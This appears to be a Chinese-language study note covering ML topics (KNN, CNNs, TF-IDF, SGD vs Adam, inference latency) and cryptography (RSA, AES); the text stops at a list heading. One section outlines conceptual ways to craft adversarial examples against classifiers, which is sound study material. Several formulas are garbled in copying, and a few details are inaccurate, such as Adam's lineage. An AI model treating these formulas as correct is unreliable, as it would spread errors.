这是最直接、最常用的方法

  • 原理:分类模型通常会输出一个概率值,例如,预测一个邮件是垃圾邮件的概率为0.8。我们设定一个决策阈值(比如0.5),如果概率高于这个阈值,就预测为“垃圾邮件”
  • 如何操作:为了降低误报率,我们可以提高这个决策阈值。如果我们将阈值从0.5提高到0.7,模型只有在对一个邮件有更高的信心时,才会将其标记为垃圾邮件。这样做会减少误报,但代价是可能会增加漏报(False Negative),即遗漏掉一些真正的垃圾邮件
  • 适用场景:当你更看重准确性(Precision)而不是召回率(Recall)时,例如在金融诈骗检测中,宁可漏掉一些诈骗,也不想错误地阻止用户的正常交易

2. 收集更多高质量的负样本

负样本(Negative Samples)指的是不属于你所关注的类别的样本

  • 原理:模型之所以误报,是因为它可能没有见过足够多的负样本,或者负样本的种类太少,导致它对“负类别”的理解不够全面。当一个负样本的特征与正样本(你关注的类别)相似时,模型就很容易误判
  • 如何操作
    • 增加负样本数量:尽可能收集更多不属于目标类别的数据,让模型有更多机会去学习真正的“负类”是什么样的
    • 增加负样本多样性:特别关注那些容易被误报的**“困难负样本”**(Hard Negative Samples),并将它们加入训练集。这能强制模型学习更细粒度的边界,从而更好地区分正负样本
  • 适用场景:当你的数据集存在严重的类别不平衡问题时

3. 重新设计特征

模型的性能很大程度上取决于你给它什么样的数据

  • 原理:如果模型总是误报某个特定类型的样本,很可能是因为当前的特征无法很好地区分这个样本和目标类别。
  • 如何操作
    • 添加新特征:思考并提取一些能更好地区分正负样本的新特征。例如,在垃圾邮件识别中,除了关键词,还可以加入发件人信誉度、邮件格式异常等特征
    • 特征选择:移除那些与目标无关或有误导性的特征,这可以帮助模型更专注于重要的信息
  • 适用场景:当你发现模型的误报不是随机的,而是集中在某一类特定数据上时

4. 调整损失函数或使用惩罚项

  • 原理:标准的交叉熵损失函数对正负样本的错误预测给予相同的惩罚。为了降低误报,我们可以对误报(FP)给予更大的惩罚
  • 如何操作
    • 自定义损失函数:设计一个加权的损失函数,给误报(将负样本预测为正样本)赋予更高的权重,让模型在训练过程中更努力地避免这种错误
    • Focal Loss:这是一种专门用于处理类别不平衡问题的损失函数,它能降低对那些易于分类的样本的权重,而更关注那些难以分类的样本,从而迫使模型去学习区分那些“困难”的负样本
  • 适用场景:在类别极度不平衡,且误报代价极高的场景

5. 集成学习

  • 原理:集成学习通过结合多个模型的预测结果来提高整体性能。这可以减少单个模型因过拟合或对数据敏感而产生的误报
  • 如何操作
    • 投票法:训练多个不同的模型,让它们对同一个样本进行预测,最终由多数模型投票决定结果。这可以有效减少单个模型出错带来的影响
    • 提升法(Boosting):如 LightGBMXGBoost。这些算法会顺序地训练一系列弱分类器,每个后续分类器都会重点关注前一个分类器错误分类的样本,尤其是那些容易被误报的样本
  • 适用场景:当你拥有足够的数据和计算资源来训练多个模型时

如何找攻击样本

1. 基于梯度的攻击

这是最常见、最基础的一类攻击方法,利用模型的梯度信息来生成扰动

  • 原理:利用反向传播,计算损失函数相对于输入图像的梯度。这个梯度表示了如果对图像的像素进行微小改变,会如何影响模型的预测结果。通过沿着这个梯度方向对图像进行调整,可以最大化模型的损失,从而导致模型分类错误
  • 代表算法
    • 快速梯度符号法(FGSM, Fast Gradient Sign Method):一种非常高效的单步攻击。它计算损失函数对输入图像的梯度,然后沿着梯度的正负号方向给图像加上一个微小的扰动
    • 基本迭代方法(BIM, Basic Iterative Method)/FGSM 迭代版:FGSM 的多次迭代版本。它在每一步迭代中都计算梯度并进行小幅调整,以更精确地将图像推向模型的决策边界之外
  • 优点:计算效率高,生成速度快
  • 缺点:生成的对抗样本可能不够隐蔽,有时会留下人眼可见的痕迹

2. 基于优化的攻击

这类方法将寻找对抗样本看作一个优化问题,旨在找到最小的扰动,同时确保模型分类失败

  • 原理:设定一个优化目标,比如最小化扰动的大小(通常用L2或L∞范数来衡量),同时满足模型对新样本的预测结果是错误的
  • 代表算法
    • Carlini & Wagner(C&W)攻击:这是最强大的白盒攻击之一。它通过一个精心设计的损失函数,可以生成非常小且难以被防御方法检测到的对抗样本。这种攻击的成功率非常高,但计算成本也相对较高
  • 优点:生成的对抗样本扰动非常小,视觉效果极佳,难以被发现
  • 缺点:计算复杂,生成速度慢

3. 基于生成模型的攻击

这类方法利用生成对抗网络(GAN)来生成对抗样本,而非直接基于梯度或优化

  • 原理:训练一个生成器网络,它可以将随机噪声或正常样本作为输入,直接生成对抗性扰动。这个生成器被训练来欺骗一个分类器(判别器)
  • 优点:一旦生成器训练好,生成对抗样本的速度非常快,几乎可以实时生成
  • 缺点:生成器的训练过程复杂且不稳定,可能需要大量数据和计算资源

4. 黑盒攻击

以上方法都是白盒攻击,即需要知道模型的内部结构和参数。而黑盒攻击则更具挑战性,它不需要知道模型的内部信息,只能通过输入和输出来寻找攻击样本

  • 原理
    • 基于迁移性(Transferability):在白盒模型(通常是公开的、结构相似的模型)上生成对抗样本,然后将这些样本用于攻击目标黑盒模型。研究表明,对抗样本在不同模型之间具有一定的迁移性
    • 基于查询(Query-based):通过向目标模型发送大量查询,观察其输出,并利用这些信息来估计模型的决策边界,从而生成攻击样本。这种方法通常需要大量的查询次数,但效果也更精确
  • 优点:适用于无法获取模型参数的实际应用场景
  • 缺点:通常比白盒攻击效率低,成功率也不如白盒攻击高

介绍下 KNN

KNN 的核心思想:近朱者赤,近墨者黑

KNN 算法的原理非常直观,可以比喻成“物以类聚,人以群分”

想象一下,你有一张地图,上面标注了各种餐馆的类型(中餐、西餐、日料)。现在,你想在地图上给一个新的、未标注的餐馆进行分类

KNN 的做法是:

  1. 找到距离最近的邻居:首先,找到离这个新餐馆最近的 K 个已知的餐馆
  2. 统计邻居的类别:然后,统计这 K 个最近邻居中,哪种餐馆类型出现的次数最多
  3. 做出预测:将出现次数最多的那个类别,作为新餐馆的预测类别

在这个例子中,K 就是你选择的“邻居”数量。如果 K=3,你就会考察离新餐馆最近的 3 个餐馆的类型;如果 K=5,你就会考察 5 个

KNN 算法的步骤

  1. 确定 K 值:选择一个合适的整数 K。这个 K 值是算法中唯一也是最重要的参数
  2. 计算距离:对于每一个待分类的样本,计算它与所有训练集中样本的距离。常见的距离度量有:
    • 欧氏距离(Euclidean Distance):两点之间直线距离,最常用
    • 曼哈顿距离(Manhattan Distance):两点在坐标轴上移动的距离之和
  3. 排序:将计算出的所有距离进行升序排序
  4. 选择 K 个最近邻:选取距离最小的前 K 个样本
  5. 投票或取均值
    • 分类任务:统计这 K 个样本所属类别中出现频率最高的那个类别,作为最终的预测类别
    • 回归任务:计算这 K 个样本的标签值的平均值,作为最终的预测值

如何选择 K 值?

K 值的选择对 KNN 算法的性能影响很大:

  • K 值太小:模型会变得非常复杂,对噪声数据和异常点非常敏感,容易导致过拟合
  • K 值太大:模型会变得过于简单,忽略了局部数据的特点,可能导致欠拟合

通常情况下,K 的值会根据数据的具体情况进行选择,常用的方法是通过交叉验证(Cross-validation)来寻找最优的 K 值


卷积神经网络介绍

CNN 是什么?

卷积神经网络是一种专门用于处理具有类似网格结构数据(如图像)的深度学习模型。它的灵感来源于人脑的视觉皮层,该皮层中的神经元只对视野中的特定区域敏感

简单来说,CNN 的核心思想是:与其让模型去一次性地看一张完整的图片,不如让它通过一个“小窗口”去扫描图片,逐块地提取特征,然后再把这些局部特征组合起来,形成对整个图像的理解。 这种“局部到整体”的处理方式,使得 CNN 在图像识别、目标检测等领域取得了巨大成功

CNN 的核心构成

一个典型的 CNN 主要由以下几个核心层组成:

1. 卷积层

这是 CNN 最核心的部分。它通过一个被称为卷积核(Kernel)或滤波器(Filter)的小窗口,在输入图像上进行滑动扫描

  • 卷积核:这个小窗口是一个矩阵,里面装着一系列权重
  • 滑动:卷积核从图像的左上角开始,以一定的步长(Stride)向右和向下移动
  • 计算:在每一次滑动到新位置时,卷积核会与它覆盖的图像区域进行点乘(Element-wise Multiplication),然后将结果相加,得到一个新的数值。这个新的数值代表了该区域的特征
  • 特征图(Feature Map):卷积核在整个图像上滑动完成后,会生成一个由这些新数值组成的矩阵,我们称之为特征图。这个特征图捕捉了图像中某种特定的局部特征,比如边缘、纹理或颜色

通过使用多个不同的卷积核,我们可以提取出图像中多种多样的特征

2. 激活层

在卷积层计算出结果后,通常会紧跟一个激活函数,例如 ReLU(Rectified Linear Unit)

  • 作用:激活函数引入了非线性。如果没有激活函数,神经网络无论有多少层,最终都只会是线性的,无法学习和表达复杂的模式
  • ReLU:它的工作原理非常简单:ReLU(x) = max(0, x)。如果输入值大于0,它就保持不变;如果小于等于0,它就变为0。这使得模型能够更好地学习复杂的、非线性的特征

3. 池化层

池化层的作用是压缩特征图,减少数据维度,从而:

  • 减少参数数量:降低计算量,防止过拟合
  • 增强特征的鲁棒性:使得模型对图像中的小幅平移、旋转或缩放变化不那么敏感

最常用的池化方法是最大池化(Max Pooling):在一个小区域内(比如2x2),只保留最大的那个值,而舍弃其他值

4. 全连接层

在经过多层卷积和池化之后,图像的特征被抽象和压缩。这时,我们通常会使用一个或多个全连接层

  • 作用:全连接层将前面所有提取到的局部特征整合起来,进行更高层次的抽象
  • 工作方式:全连接层中的每个神经元都与前一层的所有神经元相连,就像传统的神经网络一样。

5. 输出层

全连接层的最后一层通常是输出层,它负责给出最终的预测结果

  • 分类问题:如果是一个图像分类任务,输出层会使用 Softmax 激活函数来输出每个类别的概率

CNN 的工作流程概览

  1. 输入:一张原始图像
  2. 多层卷积和激活:通过多层卷积层激活层,从图像中逐步提取出越来越抽象的特征,比如从边缘、纹理到物体的局部、再到完整的物体
  3. 多层池化:在卷积层之间插入池化层,对特征图进行下采样,减少计算量,并增强模型对图像变化的鲁棒性
  4. 展平(Flatten):将最终的特征图展平成一个一维的向量
  5. 全连接层:将这个向量输入到全连接层中,进行分类或回归
  6. 输出:输出最终的预测结果

莱文斯坦距离

莱文斯坦距离是什么?

莱文斯坦距离,又被称为编辑距离,是衡量两个字符串之间相似度的一种度量方法。它定义了将一个字符串A转换成另一个字符串B所需的最少单字符编辑操作的次数

这些允许的单字符编辑操作有三种:

  1. 插入(Insertion):在字符串中插入一个字符
  2. 删除(Deletion):从字符串中删除一个字符
  3. 替换(Substitution):将字符串中的一个字符替换成另一个字符

莱文斯坦距离越小,说明两个字符串越相似。反之,距离越大,相似度越低

一个简单的例子

让我们用一个例子来直观地理解它

计算字符串 “kitten”“sitting” 的莱文斯坦距离

  1. “kitten” -> “sitten”(将 ‘k’ 替换为 ‘s’)
  2. “sitten” -> “sittin”(将 ‘e’ 替换为 ‘i’)
  3. “sittin” -> “sitting”(在末尾插入 ‘g’)

总共需要 3 次编辑操作,所以 “kitten” 和 “sitting” 的莱文斯坦距离是 3

如何计算?

莱文斯坦距离通常使用动态规划(Dynamic Programming)算法来计算。这个方法的核心思想是构建一个二维矩阵,其中 dp[i][j] 存储的是字符串 A 的前 i 个字符与字符串 B 的前 j 个字符之间的编辑距离

矩阵的填充规则如下:

  • 初始化

    • dp[i][0] 等于 i(将 A 的前 i 个字符全部删除)
    • dp[0][j] 等于 j(将 B 的前 j 个字符全部插入)
  • 递推关系:对于矩阵中的每一个 (i, j),我们比较 A 的第 i 个字符和 B 的第 j 个字符:

    • 如果 A[i-1] 等于 B[j-1],说明这两个字符相同,不需要编辑。此时 dp[i][j] = dp[i-1][j-1]
    • 如果 A[i-1] 不等于 B[j-1],我们需要考虑三种操作的最小代价:
      • 插入dp[i][j-1] + 1
      • 删除dp[i-1][j] + 1
      • 替换dp[i-1][j-1] + 1

    最终,dp[i][j] 取这三个值的最小值:dp[i][j] = min(dp[i][j-1] + 1, dp[i-1][j] + 1, dp[i-1][j-1] + 1)

最终,矩阵右下角的 dp[len(A)][len(B)] 就是两个字符串的莱文斯坦距离


倒排索引

倒排索引是什么?

倒排索引是一种非常重要且应用广泛的数据结构,它是现代搜索引擎的核心技术之一

它的基本思想是:将文档中的每个词语与包含该词语的文档列表关联起来

你可以把它想象成一本书后面的索引。在这本书的索引里,你不会看到“第10页有…,第11页有…”,而是会看到“人工智能:第10页、第11页、第25页…”

倒排索引就是这样一种结构,它将词语(或术语)作为(Key),将包含该词语的文档列表作为(Value)。这种“词语到文档”的映射关系与传统的“文档到词语”的映射(即正向索引)正好相反,因此得名“倒排”

倒排索引的核心构成

一个典型的倒排索引通常包含两个部分:

1. 词典

  • 作用:存储所有文档中出现过的所有不重复的词语
  • 结构:通常是一个经过排序的列表或哈希表。它能让你快速定位到某个词语在倒排列表中的位置。

2. 倒排列表

  • 作用:存储每个词语出现的文档ID列表,以及该词语在文档中的位置频率等信息
  • 结构:与词典中的每个词语相对应,包含以下信息:
    • 文档ID(Document ID):包含该词语的文档的唯一标识符
    • 词频(Term Frequency):该词语在特定文档中出现的次数
    • 位置(Position):该词语在文档中出现的位置(如第几个词)。这对于处理短语查询(比如”人工智能”)非常重要

倒排索引的工作原理

让我们通过一个简单的例子来理解它的工作流程:

假设我们有三个文档:

  • 文档1人工智能是未来。
  • 文档2学习人工智能。
  • 文档3未来是美好的。

1. 分词(Tokenization)

首先,对每个文档进行分词,得到词语列表

  • 文档1[“人工智能”, “是”, “未来”]
  • 文档2[“学习”, “人工智能”]
  • 文档3[“未来”, “是”, “美好”]

2. 构建倒排索引

然后,我们构建倒排索引,将每个词语与包含它的文档关联起来

词语 倒排列表(文档ID,词频,位置)
人工智能 [ (文档1, tf:1, pos:0), (文档2, tf:1, pos:1) ]
[ (文档1, tf:1, pos:1), (文档3, tf:1, pos:1) ]
未来 [ (文档1, tf:1, pos:2), (文档3, tf:1, pos:0) ]
学习 [ (文档2, tf:1, pos:0) ]
美好 [ (文档3, tf:1, pos:2) ]

3. 查询过程

现在,如果你搜索关键词“人工智能”,搜索引擎会怎么做呢?

  1. 查询词典:它会直接在倒排词典中找到“人工智能”这个词
  2. 获取倒排列表:获取与“人工智能”对应的倒排列表,即 [ (文档1, ...), (文档2, ...) ]
  3. 返回结果:根据这个列表,搜索引擎可以立即知道文档1和文档2包含了“人工智能”这个词,并迅速将它们作为搜索结果返回

如果你搜索“人工智能 未来”,搜索引擎会:

  1. 分别找到“人工智能”和“未来”的倒排列表
  2. 对这两个列表进行求交集(Intersection),找到同时包含这两个词的文档ID
  3. 最终得到结果是文档1

搜索引擎的算法有哪些

1. 爬虫与数据抓取

这是整个搜索引擎系统的起点。爬虫是一个自动化程序,它会模拟人浏览网页的行为,从一个起始页面开始,沿着页面中的链接不断地爬取新的网页,并将它们存储到搜索引擎的数据库中

  • 工作原理:爬虫会周期性地访问网站,检查是否有新的内容或更新。为了提高效率,它会遵循一些规则,比如不爬取某些禁止访问的页面(通过 robots.txt 文件指定),或者优先抓取热门网站和经常更新的页面

2. 索引

抓取到的网页原始数据是无法直接用于搜索的。索引过程就是将这些网页数据进行预处理结构化,使其能够被快速检索

  • 分词(Tokenization):将网页内容分解成一个个独立的词语(或称为“词项”)。例如,将句子“深度学习算法”分解为“深度”、“学习”、“算法”
  • 倒排索引(Inverted Index):这是索引的核心。它将词语与包含该词语的文档列表进行关联。这种结构使得搜索引擎可以迅速找到包含特定关键词的所有文档,而不是遍历所有文档

3. 排名算法

这是搜索引擎算法中最核心、最复杂的部分,它决定了哪些搜索结果会排在前面。排名算法的目标是根据用户查询,评估每个网页的**相关性(Relevance)**和**重要性(Importance)**,并进行排序

a. 文本相关性算法

这些算法主要评估查询词和网页内容之间的匹配程度

  • TF-IDF(词频-逆文档频率):这是一种经典的相关性算法
    • TF(Term Frequency):一个词在文档中出现的频率。如果一个词出现得越多,说明该文档与这个词越相关
    • IDF(Inverse Document Frequency):一个词在所有文档中出现的频率。如果一个词在越少文档中出现,说明它越能区分文档,其权重越高
    • TF-IDF 的核心思想是:一个词在一个文档中出现频率高,但在所有文档中出现频率低,那么这个词对该文档的代表性就越强。

b. 网页重要性算法

这些算法旨在评估网页的整体权威性

  • PageRank:这是 Google 早期最著名的排名算法。它的核心思想是:如果一个网页被越多重要的网页链接,那么它本身也越重要。可以把链接看作是一种“投票”。PageRank 会递归地计算每个网页的“重要性得分”,并将其作为排名的一个重要指标。

c. 用户行为算法

现代搜索引擎还会考虑用户的行为数据来优化排名

  • 点击率(CTR):如果一个网页在搜索结果中的点击率很高,说明用户认为它很相关,这会提升它的排名
  • 停留时间:用户在点击某个搜索结果后,在该页面停留的时间长短。如果用户很快就返回搜索结果页,可能说明这个页面不是他们想要的,这会降低它的排名

4. 知识图谱与语义理解

现代搜索引擎已经超越了简单的关键词匹配。它们能够理解查询背后的意图实体

  • 知识图谱(Knowledge Graph):它将实体(如“巴黎”、“埃菲尔铁塔”)及其相互关系组织成一个巨大的网络。当用户搜索“埃菲尔铁塔高度”时,搜索引擎可以直接从知识图谱中返回答案,而无需跳转到网页
  • 自然语言处理(NLP):搜索引擎利用 NLP 技术来理解查询的语义。例如,它能理解“苹果”这个词在“苹果公司”和“苹果手机”中的不同含义,从而给出更精准的结果

了解 TF-IDF 文档匹配算法吗

TF-IDF 的核心思想

TF-IDF 的核心思想可以用一句话概括:一个词语在一个文档中出现得越多,并且在所有文档中出现得越少,那么它对于该文档的区分度就越高,也就越重要

这个算法将一个词语的重要性分为两个部分来计算:

1. 词频

TF 表示一个词语在一个文档中出现的频率。计算公式通常是:

TF(t,d)=文档 d 中所有词语的总数词语 t 在文档 d 中出现的次数

  • 作用:衡量一个词语在当前文档中的重要性。一个词在文档中出现得越多,TF 值就越大,表明该词与该文档的相关性可能更高。

2. 逆文档频率(IDF, Inverse Document Frequency)

IDF 表示一个词语在整个文档集中出现的稀有程度。计算公式通常是:

IDF(t,D)=log(包含词语 t 的文档数+1文档总数 N)

这里的 +1 是为了防止分母为零,以避免对未出现的词语产生错误计算。

  • 作用:衡量一个词语在所有文档中的重要性。
    • 如果一个词语在很多文档中都出现,说明它是一个通用词(如“的”、“是”、“了”),它的 IDF 值就会很低,接近于0。
    • 如果一个词语只在很少的文档中出现,说明它是一个稀有词,它的 IDF 值就会很高。

TF-IDF 的计算

最终,一个词语在一个文档中的 TF-IDF 值TFIDF 的乘积:

TF−IDF(t,d,D)=TF(t,d)×IDF(t,D)

举个例子

假设我们有一个包含3个文档的文档集:

  • 文档1“我 喜欢 吃 苹果。苹果 很甜。”
  • 文档2“我 喜欢 吃 香蕉。”
  • 文档3“我 喜欢 玩 电脑。”

现在,我们来计算“苹果”这个词在文档1中的 TF-IDF 值

  1. 计算 TF (苹果, 文档1)
    • “苹果”在文档1中出现了2次
    • 文档1中总共有7个词语
    • TF=72≈0.286
  2. 计算 IDF (苹果, 所有文档)
    • 文档总数 N=3
    • “苹果”只出现在文档1中,所以包含“苹果”的文档数是1
    • IDF=log(1+13)=log(1.5)≈0.176
  3. 计算 TF-IDF (苹果, 文档1)
    • TF−IDF=0.286×0.176≈0.0503

如果再计算“”这个词在文档1中的 TF-IDF 值:

  1. 计算 TF (我, 文档1)
    • “我”出现了1次
    • TF=71≈0.143
  2. 计算 IDF (我, 所有文档)
    • 文档总数 N=3
    • “我”出现在了所有3个文档中
    • IDF=log(3+13)=log(0.75)≈−0.125
  3. 计算 TF-IDF (我, 文档1)
    • TF−IDF=0.143×(−0.125)≈−0.0178

这个负值表明“我”这个词的通用性太高,几乎不具备区分度。而“苹果”这个词的 TF-IDF 值更高,因为它在文档1中频繁出现,但在整个文档集中又相对稀有,因此更能代表文档 1 的主题


SGD 和 Adam 的区别

什么是优化算法?

在深入了解这两种算法之前,我们先明确一下什么是优化算法

在训练神经网络时,我们的目标是最小化损失函数(Loss Function)。损失函数衡量了模型预测结果与真实值之间的差距。优化算法就是一种方法,它告诉我们如何调整模型的参数(即权重和偏置),以使损失函数的值越来越小,从而让模型变得越来越准确

可以把优化算法想象成在下山时,如何选择每一步的方向和步长,才能最快地到达山谷(即损失函数的最小值)

1. 随机梯度下降(SGD, Stochastic Gradient Descent)

基本原理

SGD 是最基础、最原始的优化算法。它的“随机”体现在:在每一次迭代中,它随机选择一个样本(或一小批样本,即 Mini-Batch SGD),然后计算这一个(或一小批)样本的损失,并根据这个损失来更新模型的参数

这与传统的批量梯度下降(Batch Gradient Descent)不同,后者会计算所有训练样本的损失来更新一次参数。

优点

  • 计算效率高:由于每次只处理一小批样本,计算量大大减少,尤其是在面对海量数据时
  • 跳出局部最优:SGD 的“随机性”使得它有机会跳出一些浅的局部最优解,找到更好的全局最优解。

缺点

  • 收敛速度慢且不稳定:由于每次的梯度只代表了一小部分数据,更新方向可能会非常“抖动”和不稳定,导致损失函数在下降时像锯齿一样波动
  • 需要手动设置学习率:如果学习率(步长)太大,可能无法收敛;如果太小,收敛速度会非常慢。而且,整个训练过程都使用同一个固定的学习率,无法根据参数的重要性进行调整

2. Adam(Adaptive Moment Estimation)

基本原理

Adam 是一种自适应学习率的优化算法。它结合了RMSpropAdagrad 的优点,是目前最常用、效果最好的优化器之一。它的核心思想是:为每个参数都动态地调整学习率

Adam 主要通过计算梯度的一阶矩(均值)和二阶矩(方差)的指数移动平均值来调整学习率

  • 一阶矩(mt):可以看作是梯度的加权平均,它决定了更新方向
  • 二阶矩(vt):可以看作是梯度平方的加权平均,它决定了更新的步长大小

Adam 会根据这些动态计算的矩,为不同的参数提供不同的学习率。对于梯度大的参数,它会减小学习率;对于梯度小的参数,它会增加学习率

优点

  • 收敛速度快:由于它能够自适应地调整学习率,Adam 在多数情况下比 SGD 收敛得更快
  • 无需手动调优学习率:大多数情况下,使用 Adam 的默认参数就能取得很好的效果,大大简化了调参过程
  • 能处理稀疏梯度:对于有稀疏梯度的任务(如自然语言处理),Adam 表现出色

缺点

  • 可能会收敛到局部最优:一些研究表明,Adam 在某些特定场景下可能会收敛到比 SGD 差的局部最优解,这是因为它自适应的学习率可能导致它在训练后期学习率过低,无法跳出局部最优
特性 SGD Adam
学习率 固定,需要手动设置 自适应,为每个参数动态调整
更新方式 根据单个样本或 mini-batch 的梯度直接更新 结合一阶矩和二阶矩,动态调整更新方向和步长
收敛性 波动较大,可能收敛到全局最优 平稳且快速收敛,但可能陷入较差的局部最优
适用性 在大型模型或特定任务上需要精细调参,效果可能更好 绝大多数场景下都能快速获得不错的效果,易于使用
调参难度 高,需要仔细调整学习率 低,默认参数通常表现良好

如何缩减模型的检测时延

1. 模型量化

模型量化是减少模型大小和计算量最直接有效的方法。它将模型参数从浮点数(如32位浮点数)转换为低精度的数据类型(如8位整数)

  • 原理:浮点运算比整数运算耗时更多。通过将权重和激活值量化为整数,可以利用专门的整数计算单元,从而大幅提高推理速度
  • 优点
    • 显著减少模型大小,便于部署在移动设备和边缘设备上
    • 大幅降低计算时延,尤其是对于 CPU 和 DSP 等处理器
  • 缺点:可能会损失一定的模型精度。不过,在许多应用中,这种精度损失是可以接受的。

2. 模型剪枝

模型剪枝是移除模型中不重要或冗余的连接和神经元,以减小模型体积和计算量

  • 原理:在训练好的模型中,很多权重值可能接近于零,对模型的贡献很小。剪枝就是识别并移除这些不重要的权重或神经元
  • 方法
    • 非结构化剪枝:移除单个权重,但会使得模型变得稀疏,需要特殊的硬件或库才能加速
    • 结构化剪枝:移除整个神经元、通道或层,生成的模型结构更紧凑,可以直接在现有硬件上加速
  • 优点:减少模型大小和计算量,提高推理速度,同时可以保持较高的精度

3. 知识蒸馏

知识蒸馏是一种训练技巧,它利用一个已经训练好的大型模型(教师模型)来指导一个较小的模型(学生模型)的学习过程

  • 原理:学生模型不仅学习真实标签,还学习教师模型的软目标(Soft Labels,即教师模型输出的概率分布)。这种方法让学生模型在学习过程中获得额外的“知识”,从而在模型大小显著减小的情况下,也能达到接近教师模型的性能
  • 优点:能够在保持较高精度的前提下,将一个复杂模型的知识转移到一个更小、推理更快的新模型上

4. 优化推理框架

使用高效的推理框架可以最大化硬件性能,从而缩短时延

  • TensorRT:NVIDIA 推出的高性能深度学习推理引擎。它可以对模型进行一系列的优化,如量化、层融合(Layer Fusion)等,并为 GPU 生成高度优化的代码,从而大幅提升推理速度
  • ONNX Runtime:一个跨平台的推理引擎,支持多种硬件和框架。它能够优化模型图,并选择最佳的执行路径,以提高推理性能
  • OpenVINO:英特尔推出的工具套件,专门用于在英特尔硬件(如 CPU、集成显卡、VPU)上进行高效的推理部署

5. 硬件加速

选择合适的硬件平台是缩减时延的根本

  • GPU(图形处理器):对于大规模并行计算有天然优势。深度学习模型中的矩阵乘法和卷积操作都可以高效地在 GPU 上执行
  • TPU(张量处理器):谷歌专门为机器学习工作负载设计的专用集成电路(ASIC),在执行矩阵运算方面比 GPU 更高效
  • FPGA(现场可编程门阵列):可以根据模型结构进行定制化硬件设计,从而达到极高的性能和能效比
  • 移动端 AI 芯片:许多移动设备都集成了专门的神经处理单元(NPU),如苹果的 Neural Engine、高通的 Hexagon DSP,这些芯片专门为神经网络推理设计,具有低功耗和高效率的特点

29- 密码学安全

RSA 算法原理

RSA 算法是一种非对称加密算法,它的名字来源于三位发明者 Rivest、Shamir 和 Adleman 的姓氏首字母。与对称加密不同,非对称加密使用一对密钥:公钥私钥。公钥可以公开给任何人,用于加密数据;而私钥必须由用户自己保管,用于解密数据。RSA 的核心在于利用了两个数学难题:大整数质因数分解欧拉函数

密钥生成过程

密钥生成是 RSA 算法的基础,这个过程决定了公钥和私钥的值

  1. 选择大质数:随机选择两个非常大的质数 p 和 q。为了确保安全性,这两个质数必须足够大且不能太接近

  2. 计算模数:计算它们的乘积 n=p×q。这个 n 就是 RSA 的模数,它既是公钥的一部分,也是私钥的一部分

  3. 计算欧拉函数:计算欧拉函数 ϕ(n)=(p−1)(q−1)。欧拉函数 ϕ(n) 表示小于或等于 n 且与 n 互质的正整数的个数

  4. 选择公钥指数:选择一个整数 e,它必须满足以下条件:

    • 1<e<ϕ(n)

    • e 与 ϕ(n) 互质(即最大公约数为 1)

      通常,为了计算效率,会选择一些常见的质数,比如 65537。这个 e 就是公钥的指数

  5. 计算私钥指数:计算一个整数 d,它必须满足以下条件:

    • d × e ≡ 1 (mod ϕ(n))

      这个等式意味着 d × e 除以 ϕ(n) 的余数为 1。我们可以使用扩展欧几里得算法来高效地找到这个 d。这个 d 就是私钥的指数

至此,密钥生成完成。公钥为 (n,e),可以公开;私钥为 (n,d),必须严格保密

加密和解密过程

有了公钥和私钥,就可以进行数据的加密和解密了

加密

假设发送方想向你发送一条消息 M

  1. 发送方获取你的公钥 (n,e)

  2. 将明文消息 M 转换为一个整数(通常通过 ASCII 或其他编码方式)

  3. 使用公钥进行加密,计算密文 C:

    C = Me (mod n)

解密

当接收方收到密文 C 后,就可以使用自己的私钥进行解密

  1. 接收方使用自己的私钥 (n,d)

  2. 使用私钥进行解密,计算出原始明文 M:

    M = C^d (mod n)

这里看起来很简单,但其背后的数学原理是:

1
(M^e)^d ≡ M^ed ≡ M (mod n)

这正是欧拉定理在起作用,它保证了加密和解密的可逆性


AES 算法原理

AES 的核心概念

在深入原理之前,需要先了解 AES 的几个基本概念:

  • 分组加密:AES 是一种分组密码,它将明文数据分割成固定大小的数据块(block)进行加密。AES 的数据块大小固定为 128 位
  • 密钥长度:AES 支持三种密钥长度:128 位、192 位和 256 位。密钥长度越长,加密强度越高,但计算量也会相应增加
  • 加密轮数:加密过程由一系列重复的“轮”(rounds)组成。不同的密钥长度对应不同的轮数:
    • 128 位密钥:10 轮
    • 192 位密钥:12 轮
    • 256 位密钥:14 轮

加密过程的四大步骤

每一次加密轮都由四个基本操作构成,这些操作保证了加密过程的复杂性

  1. 字节替换(SubBytes) 这是代换操作。AES 使用一个预先定义好的 S-Box(Substitution-Box),将数据块中的每个字节替换成 S-Box 中对应的另一个字节。这个操作是非线性的,目的是为了隐藏明文和密文之间的直接代数关系
  2. 行移位(ShiftRows) 这是置换操作。它将数据块中的每一行进行循环左移。具体来说:
    • 第 0 行保持不变
    • 第 1 行循环左移 1 个字节
    • 第 2 行循环左移 2 个字节
    • 第 3 行循环左移 3 个字节。 这个操作实现了数据字节在不同列之间的扩散,增加了密码的混淆程度
  3. 列混淆(MixColumns) 这也是置换操作。这个步骤对每一列进行矩阵乘法运算。通过这个操作,每一列中的每个字节都会影响到该列中其他字节的值。这进一步加大了数据的扩散,确保了明文中的微小变化能够导致密文的巨大变化
  4. 轮密钥加(AddRoundKey) 这是异或(XOR)操作。在每一轮开始时,都会将当前数据块与本轮的密钥进行异或运算。这个操作将密钥信息注入到数据中,是整个加密过程的关键步骤。每一轮使用的密钥都是由初始密钥经过密钥扩展算法生成的

这四个步骤按顺序重复执行多次,最后在最后一轮会省略列混淆步骤。解密过程则反向执行这四个步骤


说一下非对称加密算法的加密过程

加密过程详解

非对称加密的整个过程可以分为以下几个关键步骤:

  1. 密钥生成: 首先,接收方(比如你)会生成一对密钥:一个公钥和一个私钥。这个过程通常基于复杂的数学难题,例如大整数分解(RSA 算法)或椭圆曲线上的离散对数问题(ECC 算法)

    • 公钥:可以公开给任何人,就像你的电子邮箱地址
    • 私钥:必须严格保密,只有你自己能访问,就像你的邮箱密码
  2. 公钥分发: 当发送方(比如你的朋友)想要给你发送加密信息时,他首先需要获得你的公钥。你可以通过一个安全的渠道,例如你的网站、社交媒体账号或证书颁发机构,将公钥发给你的朋友

  3. 消息加密: 你的朋友拿到你的公钥后,就可以开始加密信息了。他将原始的明文信息(如“你好”)转换成数字格式,然后使用你的公钥和加密算法对信息进行加密。 加密后的信息会变成一串看似随机的乱码,这就是密文

    加密原理密文 = 加密算法 (明文, 接收方的公钥)

  4. 密文传输: 加密完成后,你的朋友就可以将密文通过不安全的渠道发送给你,例如电子邮件、即时通讯软件或短信。即使这段信息在传输过程中被截获,攻击者也无法通过公钥解密出原始信息,因为公钥只能用于加密,不能用于解密

  5. 消息解密: 当你收到密文后,你需要使用你自己的私钥来解密。你将密文输入解密算法,并使用你的私钥进行运算,最终得到原始的明文信息

    解密原理明文 = 解密算法 (密文, 接收方的私钥)


有哪些了解过的非对称加密算法

1. RSA 算法

